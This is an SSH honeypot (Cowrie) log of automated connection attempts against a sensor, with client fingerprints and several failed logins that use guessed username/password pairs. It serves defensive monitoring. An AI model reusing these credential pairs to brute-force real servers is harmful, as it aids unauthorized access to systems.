{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:a3:fc:e7:23:23:e5:c3:41:d6:59:d3:b6:39:bc:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIlHfvP4SLr4asGsjZYKqxrWdKPpl9Iqre4UjBuV4YZABeE05EtVnA4+cRS9/q1Sb6i1AGEzQ2jh8S8LMgk0eskYeSZyMLa39djUNzhLDBpvBEs9VOYUbWvn5KO4/E3vy1L79q3owSSPrY3VKDV49PZFWTKOCljdrn8T8lmXzUiOLv8Z6xNuKBmEVcsa2JH6JU8gwdy/fzOCZVrwHkYfjZKxo9ysMumTAnPIQhuxk49+B6Lj6HzfvHJOjNj8LTjOREiNfpE60K362UdSo/jbfOgKANWkFXlc4ZsBfjT5nG0ZBhFQHOtP1iNyYT9FRfaZRH8dS7G7zcU5otdWG2xctB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:a3:fc:e7:23:23:e5:c3:41:d6:59:d3:b6:39:bc:a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:21:03.854535Z","src_ip":"51.255.204.163","session":"71dc90c4f0fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:a3:fc:e7:23:23:e5:c3:41:d6:59:d3:b6:39:bc:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIlHfvP4SLr4asGsjZYKqxrWdKPpl9Iqre4UjBuV4YZABeE05EtVnA4+cRS9/q1Sb6i1AGEzQ2jh8S8LMgk0eskYeSZyMLa39djUNzhLDBpvBEs9VOYUbWvn5KO4/E3vy1L79q3owSSPrY3VKDV49PZFWTKOCljdrn8T8lmXzUiOLv8Z6xNuKBmEVcsa2JH6JU8gwdy/fzOCZVrwHkYfjZKxo9ysMumTAnPIQhuxk49+B6Lj6HzfvHJOjNj8LTjOREiNfpE60K362UdSo/jbfOgKANWkFXlc4ZsBfjT5nG0ZBhFQHOtP1iNyYT9FRfaZRH8dS7G7zcU5otdWG2xctB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:21:03.858428Z","src_ip":"51.255.204.163","session":"71dc90c4f0fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:21:03.939835Z","src_ip":"51.255.204.163","session":"71dc90c4f0fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":45592,"dst_ip":"10.17.0.5","dst_port":22,"session":"1095d4605602","protocol":"ssh","message":"New connection: 87.251.79.125:45592 (10.17.0.5:22) [session: 1095d4605602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:21:24.578696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:21:24.594615Z","src_ip":"87.251.79.125","session":"1095d4605602","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:21:24.661718Z","src_ip":"87.251.79.125","session":"1095d4605602","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty1989","message":"login attempt [root/qwerty1989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:21:24.933103Z","src_ip":"87.251.79.125","session":"1095d4605602","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:21:26.046374Z","src_ip":"87.251.79.125","session":"1095d4605602","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":38630,"dst_ip":"10.17.0.5","dst_port":22,"session":"695414dcfe47","protocol":"ssh","message":"New connection: 165.154.5.173:38630 (10.17.0.5:22) [session: 695414dcfe47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:21:58.384688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:21:58.389005Z","src_ip":"165.154.5.173","session":"695414dcfe47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:21:58.604372Z","src_ip":"165.154.5.173","session":"695414dcfe47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@Admin2024","message":"login attempt [root/@Admin2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:21:59.496318Z","src_ip":"165.154.5.173","session":"695414dcfe47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:22:00.716274Z","src_ip":"165.154.5.173","session":"695414dcfe47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.253.45.10","src_port":53686,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fc878062589","protocol":"ssh","message":"New connection: 46.253.45.10:53686 (10.17.0.5:22) [session: 9fc878062589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:22:12.322674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:22:12.327879Z","src_ip":"46.253.45.10","session":"9fc878062589","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:22:12.453593Z","src_ip":"46.253.45.10","session":"9fc878062589","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"epro","password":"epro","message":"login attempt [epro/epro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:22:12.987249Z","src_ip":"46.253.45.10","session":"9fc878062589","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:22:14.115579Z","src_ip":"46.253.45.10","session":"9fc878062589","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":49318,"dst_ip":"159.203.135.109","dst_port":22,"session":"b97272e8f233","protocol":"ssh","message":"New connection: 194.59.206.2:49318 (159.203.135.109:22) [session: b97272e8f233]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:22:21.657928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:22:21.696449Z","src_ip":"194.59.206.2","session":"b97272e8f233","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:22:21.792206Z","src_ip":"194.59.206.2","session":"b97272e8f233","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:22:21.956423Z","src_ip":"194.59.206.2","session":"b97272e8f233","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.214.214","src_port":45435,"dst_ip":"10.17.0.5","dst_port":22,"session":"66f08d81080f","protocol":"ssh","message":"New connection: 89.144.214.214:45435 (10.17.0.5:22) [session: 66f08d81080f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:22:31.215879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:22:31.223020Z","src_ip":"89.144.214.214","session":"66f08d81080f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:22:31.352773Z","src_ip":"89.144.214.214","session":"66f08d81080f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"asdzxc","message":"login attempt [deploy/asdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:22:31.877919Z","src_ip":"89.144.214.214","session":"66f08d81080f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":59678,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf32b4dedcc8","protocol":"ssh","message":"New connection: 103.82.132.16:59678 (10.17.0.5:22) [session: bf32b4dedcc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:22:32.829183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:22:32.833545Z","src_ip":"103.82.132.16","session":"bf32b4dedcc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:22:33.014082Z","src_ip":"89.144.214.214","session":"66f08d81080f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:22:33.088027Z","src_ip":"103.82.132.16","session":"bf32b4dedcc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"magdalena","message":"login attempt [root/magdalena] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:22:33.852903Z","src_ip":"103.82.132.16","session":"bf32b4dedcc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:22:35.114637Z","src_ip":"103.82.132.16","session":"bf32b4dedcc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":34936,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccd61b7c5d3e","protocol":"ssh","message":"New connection: 147.45.199.80:34936 (10.17.0.5:22) [session: ccd61b7c5d3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:22:37.333715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:22:37.337065Z","src_ip":"147.45.199.80","session":"ccd61b7c5d3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:22:37.431743Z","src_ip":"147.45.199.80","session":"ccd61b7c5d3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rjvgm.nth","message":"login attempt [root/rjvgm.nth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:22:37.717281Z","src_ip":"147.45.199.80","session":"ccd61b7c5d3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:22:38.816130Z","src_ip":"147.45.199.80","session":"ccd61b7c5d3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.170.155","src_port":37200,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b9aef641e86","protocol":"ssh","message":"New connection: 43.156.170.155:37200 (10.17.0.5:22) [session: 9b9aef641e86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:22:42.160254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:22:42.165374Z","src_ip":"43.156.170.155","session":"9b9aef641e86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:22:42.403525Z","src_ip":"43.156.170.155","session":"9b9aef641e86","protocol":"ssh"}
